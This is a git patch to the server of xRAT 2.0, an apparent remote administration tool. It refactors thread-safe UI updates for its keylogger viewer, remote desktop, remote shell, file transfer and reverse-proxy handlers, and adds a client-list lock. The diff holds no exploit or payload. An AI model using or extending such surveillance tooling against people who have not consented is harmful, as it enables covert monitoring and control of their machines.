From 39f9618f21a1d0746712586ff73e12e3b76eb898 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Fri, 29 May 2015 23:34:57 +0200 Subject: [PATCH] Fixed cross-thread issues & added lock to Clients ref #231 --- Server/Core/Client.cs | 5 + Server/Core/Commands/ConnectionHandler.cs | 93 +++------ Server/Core/Commands/MiscHandler.cs | 98 +++------- Server/Core/Commands/SurveillanceHandler.cs | 83 +++----- Server/Core/Commands/SystemHandler.cs | 28 +-- .../Core/ReverseProxy/ReverseProxyServer.cs | 18 +- Server/Forms/FrmFileManager.Designer.cs | 8 +- Server/Forms/FrmFileManager.cs | 112 +++++++++++ Server/Forms/FrmFileManager.resx | 4 +- Server/Forms/FrmKeylogger.Designer.cs | 4 +- Server/Forms/FrmKeylogger.cs | 42 ++++ Server/Forms/FrmMain.Designer.cs | 4 +- Server/Forms/FrmMain.cs | 182 +++++++++++++----- Server/Forms/FrmMain.resx | 2 +- Server/Forms/FrmRemoteDesktop.Designer.cs | 4 +- Server/Forms/FrmRemoteDesktop.cs | 46 +++++ Server/Forms/FrmRemoteShell.Designer.cs | 8 +- Server/Forms/FrmRemoteShell.cs | 55 ++++-- Server/Forms/FrmReverseProxy.cs | 62 +++--- Server/Forms/FrmStartupManager.Designer.cs | 2 +- Server/Forms/FrmStartupManager.cs | 43 ++++- Server/Forms/FrmSystemInformation.Designer.cs | 12 +- Server/Forms/FrmSystemInformation.cs | 28 ++- Server/Forms/FrmTaskManager.Designer.cs | 28 +-- Server/Forms/FrmTaskManager.cs | 42 ++++ 25 files changed, 659 insertions(+), 354 deletions(-) diff --git a/Server/Core/Client.cs b/Server/Core/Client.cs index 9b5aa299..12309fb3 100644 --- a/Server/Core/Client.cs +++ b/Server/Core/Client.cs @@ -46,6 +46,11 @@ private void OnClientRead(IPacket packet) public delegate void ClientWriteEventHandler(Client s, IPacket packet, long length, byte[] rawData); + public bool Equals(Client c) + { + return this.EndPoint.Port == c.EndPoint.Port; // this port is always unqiue for each client + } + private void OnClientWrite(IPacket packet, long length, byte[] rawData) { if (ClientWrite != null) diff --git a/Server/Core/Commands/ConnectionHandler.cs b/Server/Core/Commands/ConnectionHandler.cs index 3bcbca95..52cac18b 100644 --- a/Server/Core/Commands/ConnectionHandler.cs +++ b/Server/Core/Commands/ConnectionHandler.cs @@ -14,81 +14,52 @@ public static void HandleInitialize(Client client, Initialize packet) if (client.EndPoint.Address.ToString() == "255.255.255.255") return; - FrmMain.Instance.Invoke((MethodInvoker)delegate + try { - try + client.Value.Version = packet.Version; + client.Value.OperatingSystem = packet.OperatingSystem; + client.Value.AccountType = packet.AccountType; + client.Value.Country = packet.Country; + client.Value.CountryCode = packet.CountryCode; + client.Value.Region = packet.Region; + client.Value.City = packet.City; + client.Value.Id = packet.Id; + + if (!FrmMain.Instance.ListenServer.AllTimeConnectedClients.ContainsKey(client.Value.Id)) + FrmMain.Instance.ListenServer.AllTimeConnectedClients.Add(client.Value.Id, DateTime.Now); + + string country = string.Format("{0} [{1}]", client.Value.Country, client.Value.CountryCode); + + // this " " leaves some space between the flag-icon and the IP + ListViewItem lvi = new ListViewItem(new string[] { - client.Value.Version = packet.Version; - client.Value.OperatingSystem = packet.OperatingSystem; - client.Value.AccountType = packet.AccountType; - client.Value.Country = packet.Country; - client.Value.CountryCode = packet.CountryCode; - client.Value.Region = packet.Region; - client.Value.City = packet.City; - client.Value.Id = packet.Id; - - if (!FrmMain.Instance.ListenServer.AllTimeConnectedClients.ContainsKey(client.Value.Id)) - FrmMain.Instance.ListenServer.AllTimeConnectedClients.Add(client.Value.Id, DateTime.Now); - - FrmMain.Instance.ListenServer.ConnectedClients++; - FrmMain.Instance.UpdateWindowTitle(FrmMain.Instance.ListenServer.ConnectedClients, - FrmMain.Instance.lstClients.SelectedItems.Count); - - string country = string.Format("{0} [{1}]", client.Value.Country, client.Value.CountryCode); - - // this " " leaves some space between the flag-icon and the IP - ListViewItem lvi = new ListViewItem(new string[] - { - " " + client.EndPoint.Address.ToString(), client.EndPoint.Port.ToString(), client.Value.Version, - "Connected", - "Active", country, client.Value.OperatingSystem, client.Value.AccountType - }) { Tag = client, ImageIndex = packet.ImageIndex }; + " " + client.EndPoint.Address.ToString(), client.EndPoint.Port.ToString(), client.Value.Version, + "Connected", + "Active", country, client.Value.OperatingSystem, client.Value.AccountType + }) { Tag = client, ImageIndex = packet.ImageIndex }; - FrmMain.Instance.lstClients.Items.Add(lvi); + FrmMain.Instance.AddClientToListview(lvi); - if (XMLSettings.ShowPopup) - ShowPopup(client); + if (XMLSettings.ShowPopup) + FrmMain.Instance.ShowPopup(client); - client.Value.IsAuthenticated = true; - new Packets.ServerPackets.GetSystemInfo().Execute(client); - } - catch - { - } - }); + client.Value.IsAuthenticated = true; + new Packets.ServerPackets.GetSystemInfo().Execute(client); + } + catch + { + } } public static void HandleStatus(Client client, Status packet) { - FrmMain.Instance.Invoke((MethodInvoker)delegate - { - foreach (ListViewItem lvi in FrmMain.Instance.lstClients.Items) - { - Client c = (Client)lvi.Tag; - if (client == c) - { - lvi.SubItems[3].Text = packet.Message; - break; - } - } - }); + FrmMain.Instance.SetClientStatus(client, packet.Message); } public static void HandleUserStatus(Client client, UserStatus packet) { - FrmMain.Instance.Invoke((MethodInvoker)delegate - { - foreach (ListViewItem lvi in FrmMain.Instance.lstClients.Items) - { - Client c = (Client)lvi.Tag; - if (client == c) - { - lvi.SubItems[4].Text = packet.Message; - break; - } - } - }); + FrmMain.Instance.SetClientUserStatus(client, packet.Message); } } } \ No newline at end of file diff --git a/Server/Core/Commands/MiscHandler.cs b/Server/Core/Commands/MiscHandler.cs index c5635c58..19056158 100644 --- a/Server/Core/Commands/MiscHandler.cs +++ b/Server/Core/Commands/MiscHandler.cs @@ -3,7 +3,6 @@ using System.Windows.Forms; using xServer.Core.Helper; using xServer.Core.Packets.ClientPackets; -using xServer.Forms; namespace xServer.Core.Commands { @@ -15,25 +14,10 @@ public static void HandleShellCommandResponse(Client client, ShellCommandRespons if (client.Value.FrmRs == null) return; - try - { - client.Value.FrmRs.Invoke( - (MethodInvoker)delegate - { - if (packet.IsError) - { - client.Value.FrmRs.PrintError(packet.Output); - } - else - { - client.Value.FrmRs.PrintMessage(packet.Output); - } - } - ); - } - catch - { - } + if (packet.IsError) + client.Value.FrmRs.PrintError(packet.Output); + else + client.Value.FrmRs.PrintMessage(packet.Output); } public static void HandleDownloadFileResponse(Client client, DownloadFileResponse packet) @@ -59,84 +43,54 @@ public static void HandleDownloadFileResponse(Client client, DownloadFileRespons return; } - int index = 0; - try - { - client.Value.FrmFm.Invoke((MethodInvoker)delegate - { - foreach (ListViewItem lvi in client.Value.FrmFm.lstTransfers.Items) - { - if (packet.ID.ToString() == lvi.SubItems[0].Text) - { - index = lvi.Index; - break; - } - } - }); - } - catch - { + int index = client.Value.FrmFm.GetTransferIndex(packet.ID.ToString()); + if (index < 0) return; - } if (Continue) { if (!string.IsNullOrEmpty(packet.CustomMessage)) { - client.Value.FrmFm.Invoke((MethodInvoker)delegate - { - client.Value.FrmFm.lstTransfers.Items[index].SubItems[1].Text = packet.CustomMessage; - client.Value.FrmFm.lstTransfers.Items[index].ImageIndex = 0; - }); + if (client.Value.FrmFm == null) // abort download when form is closed + return; + + client.Value.FrmFm.UpdateTransferStatus(index, packet.CustomMessage, 0); return; } FileSplit destFile = new FileSplit(downloadPath); if (!destFile.AppendBlock(packet.Block, packet.CurrentBlock)) { - client.Value.FrmFm.Invoke((MethodInvoker)delegate - { - client.Value.FrmFm.lstTransfers.Items[index].SubItems[1].Text = destFile.LastError; - client.Value.FrmFm.lstTransfers.Items[index].ImageIndex = 0; - }); + if (client.Value.FrmFm == null) + return; + + client.Value.FrmFm.UpdateTransferStatus(index, destFile.LastError, 0); return; } decimal progress = Math.Round((decimal)((double)(packet.CurrentBlock + 1) / (double)packet.MaxBlocks * 100.0), 2); - client.Value.FrmFm.Invoke( - (MethodInvoker) - delegate - { - client.Value.FrmFm.lstTransfers.Items[index].SubItems[1].Text = - string.Format("Downloading...({0}%)", progress); - }); + if (client.Value.FrmFm == null) + return; + + client.Value.FrmFm.UpdateTransferStatus(index, string.Format("Downloading...({0}%)", progress), -1); if ((packet.CurrentBlock + 1) == packet.MaxBlocks) { - client.Value.FrmFm.Invoke((MethodInvoker)delegate - { - client.Value.FrmFm.lstTransfers.Items[index].SubItems[1].Text = "Completed"; - client.Value.FrmFm.lstTransfers.Items[index].ImageIndex = 1; - }); + if (client.Value.FrmFm == null) + return; + + client.Value.FrmFm.UpdateTransferStatus(index, "Completed", 1); } } else { - client.Value.FrmFm.Invoke((MethodInvoker)delegate - { - client.Value.FrmFm.lstTransfers.Items[index].SubItems[1].Text = "Canceled"; - client.Value.FrmFm.lstTransfers.Items[index].ImageIndex = 0; - }); - } - } + if (client.Value.FrmFm == null) + return; - private static void ShowPopup(Client c) - { - FrmMain.Instance.nIcon.ShowBalloonTip(30, string.Format("Client connected from {0}!", c.Value.Country), - string.Format("IP Address: {0}\nOperating System: {1}", c.EndPoint.Address.ToString(), - c.Value.OperatingSystem), ToolTipIcon.Info); + client.Value.FrmFm.UpdateTransferStatus(index, "Canceled", 0); + } } } } \ No newline at end of file diff --git a/Server/Core/Commands/SurveillanceHandler.cs b/Server/Core/Commands/SurveillanceHandler.cs index cca1b8fa..01adfcd2 100644 --- a/Server/Core/Commands/SurveillanceHandler.cs +++ b/Server/Core/Commands/SurveillanceHandler.cs @@ -17,14 +17,8 @@ public static void HandleRemoteDesktopResponse(Client client, DesktopResponse pa if (packet.Image == null) { - try - { - client.Value.FrmRdp.Invoke( - (MethodInvoker)delegate { client.Value.FrmRdp.picDesktop.Image = client.Value.LastDesktop; }); - } - catch - { - } + if (client.Value.FrmRdp != null) + client.Value.FrmRdp.UpdateImage(client.Value.LastDesktop); client.Value.LastDesktop = null; client.Value.LastDesktopSeen = true; @@ -53,15 +47,8 @@ public static void HandleRemoteDesktopResponse(Client client, DesktopResponse pa client.Value.LastDesktop = newScreen; - try - { - client.Value.FrmRdp.Invoke( - (MethodInvoker) - delegate { client.Value.FrmRdp.picDesktop.Image = (Bitmap)newScreen.Clone(); }); - } - catch - { - } + if (client.Value.FrmRdp != null) + client.Value.FrmRdp.UpdateImage((Bitmap)newScreen.Clone()); newScreen = null; } @@ -88,15 +75,8 @@ public static void HandleRemoteDesktopResponse(Client client, DesktopResponse pa client.Value.LastDesktop = newScreen; - try - { - client.Value.FrmRdp.Invoke( - (MethodInvoker) - delegate { client.Value.FrmRdp.picDesktop.Image = (Bitmap)newScreen.Clone(); }); - } - catch - { - } + if (client.Value.FrmRdp != null) + client.Value.FrmRdp.UpdateImage((Bitmap)newScreen.Clone()); newScreen = null; } @@ -112,7 +92,7 @@ public static void HandleGetProcessesResponse(Client client, GetProcessesRespons if (client.Value.FrmTm == null) return; - client.Value.FrmTm.Invoke((MethodInvoker)delegate { client.Value.FrmTm.lstTasks.Items.Clear(); }); + client.Value.FrmTm.ClearListview(); new Thread(() => { @@ -120,17 +100,13 @@ public static void HandleGetProcessesResponse(Client client, GetProcessesRespons { if (packet.IDs[i] != 0 && packet.Processes[i] != "System.exe") { + if (client.Value.FrmTm == null) + break; + ListViewItem lvi = new ListViewItem(new string[] { packet.Processes[i], packet.IDs[i].ToString(), packet.Titles[i] }); - try - { - client.Value.FrmTm.Invoke( - (MethodInvoker)delegate { client.Value.FrmTm.lstTasks.Items.Add(lvi); }); - } - catch - { - break; - } + + client.Value.FrmTm.AddProcessToListview(lvi); } } }).Start(); @@ -143,10 +119,7 @@ public static void HandleGetLogsResponse(Client client, GetLogsResponse packet) if (packet.FileCount == 0) { - client.Value.FrmKl.Invoke((MethodInvoker)delegate - { - client.Value.FrmKl.btnGetLogs.Enabled = true; - }); + client.Value.FrmKl.SetGetLogsEnabled(true); return; } @@ -171,17 +144,16 @@ public static void HandleGetLogsResponse(Client client, GetLogsResponse packet) foreach (FileInfo file in iFiles) { - var file1 = file; - client.Value.FrmKl.Invoke((MethodInvoker)delegate - { - client.Value.FrmKl.lstLogs.Items.Add(new ListViewItem() { Text = file1.Name }); - }); + if (client.Value.FrmKl == null) + break; + + client.Value.FrmKl.AddLogToListview(file.Name); } - client.Value.FrmKl.Invoke((MethodInvoker)delegate - { - client.Value.FrmKl.btnGetLogs.Enabled = true; - }); + if (client.Value.FrmKl == null) + return; + + client.Value.FrmKl.SetGetLogsEnabled(true); } } @@ -190,18 +162,7 @@ public static void HandleMonitorsResponse(Client client, MonitorsResponse packet if (client.Value.FrmRdp == null) return; - try - { - client.Value.FrmRdp.Invoke((MethodInvoker)delegate - { - for (int i = 0; i < packet.Number; i++) - client.Value.FrmRdp.cbMonitors.Items.Add(string.Format("Monitor {0}", i + 1)); - client.Value.FrmRdp.cbMonitors.SelectedIndex = 0; - }); - } - catch - { - } + client.Value.FrmRdp.AddMonitors(packet.Number); } } } \ No newline at end of file diff --git a/Server/Core/Commands/SystemHandler.cs b/Server/Core/Commands/SystemHandler.cs index b2d36dd9..278ab69e 100644 --- a/Server/Core/Commands/SystemHandler.cs +++ b/Server/Core/Commands/SystemHandler.cs @@ -103,30 +103,16 @@ public static void HandleGetSystemInfoResponse(Client client, GetSystemInfoRespo { if (XMLSettings.ShowToolTip) { - try + var builder = new StringBuilder(); + for (int i = 0; i < packet.SystemInfos.Length; i += 2) { - FrmMain.Instance.lstClients.Invoke((MethodInvoker)delegate + if (packet.SystemInfos[i] != null && packet.SystemInfos[i + 1] != null) { - foreach (ListViewItem item in FrmMain.Instance.lstClients.Items) - { - if (item.Tag == client) - { - var builder = new StringBuilder(); - for (int i = 0; i < packet.SystemInfos.Length; i += 2) - { - if (packet.SystemInfos[i] != null && packet.SystemInfos[i + 1] != null) - { - builder.AppendFormat("{0}: {1}\r\n", packet.SystemInfos[i], packet.SystemInfos[i + 1]); - } - } - item.ToolTipText = builder.ToString(); - } - } - }); - } - catch - { + builder.AppendFormat("{0}: {1}\r\n", packet.SystemInfos[i], packet.SystemInfos[i + 1]); + } } + + FrmMain.Instance.SetToolTipText(client, builder.ToString()); } if (client.Value.FrmSi == null) diff --git a/Server/Core/ReverseProxy/ReverseProxyServer.cs b/Server/Core/ReverseProxy/ReverseProxyServer.cs index 2db7560e..20233dfb 100644 --- a/Server/Core/ReverseProxy/ReverseProxyServer.cs +++ b/Server/Core/ReverseProxy/ReverseProxyServer.cs @@ -1,5 +1,6 @@ using System; using System.Collections.Generic; +using System.Linq; using System.Net; using System.Net.Sockets; @@ -15,7 +16,7 @@ public class ReverseProxyServer public event UpdateConnectionCallback OnUpdateConnection; private Socket _socket; - private List _clients; + private readonly List _clients; public ReverseProxyClient[] ProxyClients { @@ -53,7 +54,7 @@ public ReverseProxyClient[] OpenConnections //We can also use the Random class but not sure if that will evenly spread the connections //The Random class might even fail to make use of all the clients - private uint ClientIndex; + private uint _clientIndex; public ReverseProxyServer() { @@ -66,7 +67,7 @@ public void StartServer(Client[] clients, string ipAddress, int port) this.Clients = clients; - for(int i = 0; i < clients.Length; i++) + for (int i = 0; i < clients.Length; i++) this.Clients[i].Value.ProxyServer = this; this._socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); @@ -81,8 +82,8 @@ private void socket_BeginAccept(IAsyncResult ar) { lock (_clients) { - _clients.Add(new ReverseProxyClient(Clients[ClientIndex % Clients.Length], this._socket.EndAccept(ar), this)); - ClientIndex++; + _clients.Add(new ReverseProxyClient(Clients[_clientIndex % Clients.Length], this._socket.EndAccept(ar), this)); + _clientIndex++; } } catch @@ -116,12 +117,7 @@ public ReverseProxyClient GetClientByConnectionId(int connectionId) { lock (_clients) { - for (int i = 0; i < _clients.Count; i++) - { - if (_clients[i].ConnectionId == connectionId) - return _clients[i]; - } - return null; + return _clients.FirstOrDefault(t => t.ConnectionId == connectionId); } } diff --git a/Server/Forms/FrmFileManager.Designer.cs b/Server/Forms/FrmFileManager.Designer.cs index 242ae0ec..80e972b4 100644 --- a/Server/Forms/FrmFileManager.Designer.cs +++ b/Server/Forms/FrmFileManager.Designer.cs @@ -369,19 +369,15 @@ private void InitializeComponent() private System.Windows.Forms.Label lblDrive; private System.Windows.Forms.ImageList imgListDirectory; - public System.Windows.Forms.ComboBox cmbDrives; - public Controls.ListViewEx lstDirectory; private System.Windows.Forms.ColumnHeader hName; private System.Windows.Forms.ColumnHeader hSize; private System.Windows.Forms.ColumnHeader hType; private System.Windows.Forms.ContextMenuStrip ctxtMenu; private System.Windows.Forms.ToolStripMenuItem ctxtDownload; - public System.Windows.Forms.StatusStrip botStrip; private System.Windows.Forms.Button btnOpenDLFolder; private System.Windows.Forms.TabControl TabControlFileManager; private System.Windows.Forms.TabPage tabFileExplorer; private System.Windows.Forms.TabPage tabTransfers; - public Controls.ListViewEx lstTransfers; private System.Windows.Forms.ColumnHeader hStatus; private System.Windows.Forms.ColumnHeader hFilename; private System.Windows.Forms.ColumnHeader hID; @@ -397,5 +393,9 @@ private void InitializeComponent() private System.Windows.Forms.ContextMenuStrip ctxtMenu2; private System.Windows.Forms.ToolStripMenuItem ctxtCancel; private System.Windows.Forms.ToolStripMenuItem ctxtOpenDirectory; + private System.Windows.Forms.ComboBox cmbDrives; + private ListViewEx lstDirectory; + private ListViewEx lstTransfers; + private System.Windows.Forms.StatusStrip botStrip; } } \ No newline at end of file diff --git a/Server/Forms/FrmFileManager.cs b/Server/Forms/FrmFileManager.cs index acb933ea..e9c431dc 100644 --- a/Server/Forms/FrmFileManager.cs +++ b/Server/Forms/FrmFileManager.cs @@ -1,6 +1,7 @@ using System; using System.Diagnostics; using System.IO; +using System.Linq; using System.Windows.Forms; using xServer.Core; using xServer.Core.Misc; @@ -284,6 +285,117 @@ private void ctxtCancel_Click(object sender, EventArgs e) } } + public void AddDrives(string[] drives) + { + try + { + cmbDrives.Invoke((MethodInvoker) delegate + { + cmbDrives.Items.Clear(); + cmbDrives.Items.AddRange(drives); + cmbDrives.SelectedIndex = 0; + }); + } + catch (InvalidOperationException) + { + } + catch (Exception ex) + { + MessageBox.Show( + string.Format( + "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues", + ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + + public void ClearFileBrowser() + { + try + { + lstDirectory.Invoke((MethodInvoker)delegate + { + lstDirectory.Items.Clear(); + }); + } + catch (InvalidOperationException) + { + } + catch (Exception ex) + { + MessageBox.Show( + string.Format( + "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues", + ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + + public void AddItemToFileBrowser(ListViewItem lvi) + { + try + { + lstDirectory.Invoke((MethodInvoker)delegate + { + lstDirectory.Items.Add(lvi); + }); + } + catch (InvalidOperationException) + { + } + catch (Exception ex) + { + MessageBox.Show( + string.Format( + "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues", + ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + + public int GetTransferIndex(string ID) + { + int index = 0; + + try + { + lstTransfers.Invoke((MethodInvoker)delegate + { + foreach (ListViewItem lvi in lstTransfers.Items.Cast().Where(lvi => lvi != null && ID == lvi.SubItems[0].Text)) + { + index = lvi.Index; + break; + } + }); + } + catch (InvalidOperationException) + { + return -1; + } + + return index; + } + + public void UpdateTransferStatus(int index, string status, int imageIndex) + { + try + { + lstTransfers.Invoke((MethodInvoker)delegate + { + lstTransfers.Items[index].SubItems[1].Text = status; + if (imageIndex > 0) + lstTransfers.Items[index].ImageIndex = imageIndex; + }); + } + catch (InvalidOperationException) + { + } + catch (Exception ex) + { + MessageBox.Show( + string.Format( + "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues", + ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + private void lstDirectory_ColumnClick(object sender, ColumnClickEventArgs e) { // Determine if clicked column is already the column that is being sorted. diff --git a/Server/Forms/FrmFileManager.resx b/Server/Forms/FrmFileManager.resx index 1d5df448..db98f415 100644 --- a/Server/Forms/FrmFileManager.resx +++ b/Server/Forms/FrmFileManager.resx @@ -128,7 +128,7 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAAAW - EwAAAk1TRnQBSQFMAgEBCwEAARABAQEQAQEBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + EwAAAk1TRnQBSQFMAgEBCwEAASgBAQEoAQEBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo AwABQAMAATADAAEBAQABCAYAAQwYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5 AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA @@ -226,7 +226,7 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABE - CQAAAk1TRnQBSQFMAgEBAgEAAYgBAAGIAQABEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + CQAAAk1TRnQBSQFMAgEBAgEAAaABAAGgAQABEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo AwABQAMAARADAAEBAQABCAYAAQQYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5 AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA diff --git a/Server/Forms/FrmKeylogger.Designer.cs b/Server/Forms/FrmKeylogger.Designer.cs index 9c1369b5..da6fb3b1 100644 --- a/Server/Forms/FrmKeylogger.Designer.cs +++ b/Server/Forms/FrmKeylogger.Designer.cs @@ -114,10 +114,10 @@ private void InitializeComponent() #endregion private System.Windows.Forms.ColumnHeader hLogs; - public System.Windows.Forms.ListView lstLogs; private System.Windows.Forms.StatusStrip statusStrip1; - public System.Windows.Forms.Button btnGetLogs; private System.Windows.Forms.WebBrowser wLogViewer; + private System.Windows.Forms.ListView lstLogs; + private System.Windows.Forms.Button btnGetLogs; diff --git a/Server/Forms/FrmKeylogger.cs b/Server/Forms/FrmKeylogger.cs index 325f4a5d..3216cccc 100644 --- a/Server/Forms/FrmKeylogger.cs +++ b/Server/Forms/FrmKeylogger.cs @@ -67,6 +67,48 @@ private void FrmKeylogger_FormClosing(object sender, FormClosingEventArgs e) _connectClient.Value.FrmKl = null; } + public void AddLogToListview(string logName) + { + try + { + lstLogs.Invoke((MethodInvoker) delegate + { + lstLogs.Items.Add(new ListViewItem {Text = logName}); + }); + } + catch (InvalidOperationException) + { + } + catch (Exception ex) + { + MessageBox.Show( + string.Format( + "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues", + ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + + public void SetGetLogsEnabled(bool enabled) + { + try + { + btnGetLogs.Invoke((MethodInvoker) delegate + { + btnGetLogs.Enabled = enabled; + }); + } + catch (InvalidOperationException) + { + } + catch (Exception ex) + { + MessageBox.Show( + string.Format( + "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues", + ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + private void lstLogs_ColumnClick(object sender, ColumnClickEventArgs e) { // Determine if clicked column is already the column that is being sorted. diff --git a/Server/Forms/FrmMain.Designer.cs b/Server/Forms/FrmMain.Designer.cs index 1265d70d..2ddaa69c 100644 --- a/Server/Forms/FrmMain.Designer.cs +++ b/Server/Forms/FrmMain.Designer.cs @@ -793,8 +793,6 @@ private void InitializeComponent() private System.Windows.Forms.MenuItem menuStatistics; private System.Windows.Forms.MenuItem menuAbout; private System.Windows.Forms.ToolStripMenuItem ctxtRemoteShell; - public Controls.ListViewEx lstClients; - public System.Windows.Forms.NotifyIcon nIcon; private System.Windows.Forms.ToolStripSeparator ctxtLine; private System.Windows.Forms.ToolStripMenuItem ctxtActions; private System.Windows.Forms.ToolStripMenuItem ctxtShutdown; @@ -807,6 +805,8 @@ private void InitializeComponent() private System.Windows.Forms.ToolStripMenuItem ctxtKeylogger; private System.Windows.Forms.ToolStripMenuItem ctxtReverseProxy; private System.Windows.Forms.ToolStripMenuItem ctxtRegistryEditor; + private ListViewEx lstClients; + private System.Windows.Forms.NotifyIcon nIcon; } } diff --git a/Server/Forms/FrmMain.cs b/Server/Forms/FrmMain.cs index 86f6ed76..3204302f 100644 --- a/Server/Forms/FrmMain.cs +++ b/Server/Forms/FrmMain.cs @@ -20,6 +20,7 @@ public partial class FrmMain : Form private readonly ListViewColumnSorter _lvwColumnSorter; public static volatile FrmMain Instance; private bool _titleUpdateRunning; + private readonly object _lockClients = new object(); private void ReadSettings(bool writeIfNotExist = true) { @@ -74,7 +75,7 @@ public FrmMain() lstClients.ChangeTheme(); } - public void UpdateWindowTitle(int count, int selected) + public void UpdateWindowTitle() { if (_titleUpdateRunning) return; _titleUpdateRunning = true; @@ -82,28 +83,16 @@ public void UpdateWindowTitle(int count, int selected) { this.Invoke((MethodInvoker) delegate { -#if DEBUG - if (selected > 0) - this.Text = string.Format("xRAT 2.0 - Connected: {0} [Selected: {1}] - Threads: {2}", count, - selected, System.Diagnostics.Process.GetCurrentProcess().Threads.Count); - else - this.Text = string.Format("xRAT 2.0 - Connected: {0} - Threads: {1}", count, - System.Diagnostics.Process.GetCurrentProcess().Threads.Count); -#else - if (selected > 0) - this.Text = string.Format("xRAT 2.0 - Connected: {0} [Selected: {1}]", count, selected); - else - this.Text = string.Format("xRAT 2.0 - Connected: {0}", count); -#endif + int selected = lstClients.SelectedItems.Count; + this.Text = (selected > 0) ? + string.Format("xRAT 2.0 - Connected: {0} [Selected: {1}]", ListenServer.ConnectedClients, selected) : + string.Format("xRAT 2.0 - Connected: {0}", ListenServer.ConnectedClients); }); } catch { } - finally - { - _titleUpdateRunning = false; - } + _titleUpdateRunning = false; } private void InitializeServer() @@ -196,7 +185,7 @@ private void FrmMain_FormClosing(object sender, FormClosingEventArgs e) private void lstClients_SelectedIndexChanged(object sender, EventArgs e) { - UpdateWindowTitle(ListenServer.ConnectedClients, lstClients.SelectedItems.Count); + UpdateWindowTitle(); } private void ServerState(Server server, bool listening) @@ -220,26 +209,7 @@ private void ClientState(Server server, Client client, bool connected) new Core.Packets.ServerPackets.InitializeCommand().Execute(client); } else - { - int selectedClients = 0; - this.Invoke((MethodInvoker) delegate - { - foreach (ListViewItem lvi in lstClients.Items.Cast() - .Where(lvi => lvi != null && (lvi.Tag as Client) != null && (Client) lvi.Tag == client)) - { - try - { - lvi.Remove(); - } - catch - { - } - server.ConnectedClients--; - } - selectedClients = lstClients.SelectedItems.Count; - }); - UpdateWindowTitle(server.ConnectedClients, selectedClients); - } + RemoveClientFromListview(client); } private void ClientRead(Server server, Client client, IPacket packet) @@ -247,20 +217,146 @@ private void ClientRead(Server server, Client client, IPacket packet) PacketHandler.HandlePacket(client, packet); } - private Client[] GetSelectedClients() + public void SetToolTipText(Client c, string text) + { + try + { + lstClients.Invoke((MethodInvoker) delegate + { + var item = GetListviewItemOfClient(c); + if (item != null) + item.ToolTipText = text; + }); + } + catch (InvalidOperationException) + { + } + } + + public void AddClientToListview(ListViewItem clientItem) + { + try + { + if (clientItem == null) return; + + lstClients.Invoke((MethodInvoker) delegate + { + lock (_lockClients) + { + lstClients.Items.Add(clientItem); + ListenServer.ConnectedClients++; + } + }); + + UpdateWindowTitle(); + } + catch (InvalidOperationException) + { + } + } + + public void RemoveClientFromListview(Client c) + { + try + { + lstClients.Invoke((MethodInvoker) delegate + { + lock (_lockClients) + { + foreach (ListViewItem lvi in lstClients.Items.Cast() + .Where(lvi => lvi != null && (lvi.Tag as Client) != null && c.Equals((Client) lvi.Tag))) + { + lvi.Remove(); + ListenServer.ConnectedClients--; + break; + } + } + }); + UpdateWindowTitle(); + } + catch (InvalidOperationException) + { + } + } + + public void SetClientStatus(Client c, string text) + { + try + { + lstClients.Invoke((MethodInvoker) delegate + { + var item = GetListviewItemOfClient(c); + if (item != null) + item.SubItems[3].Text = text; + }); + } + catch (InvalidOperationException) + { + } + } + + public void SetClientUserStatus(Client c, string text) + { + try + { + lstClients.Invoke((MethodInvoker) delegate + { + var item = GetListviewItemOfClient(c); + if (item != null) + item.SubItems[4].Text = text; + }); + } + catch (InvalidOperationException) + { + } + } + + 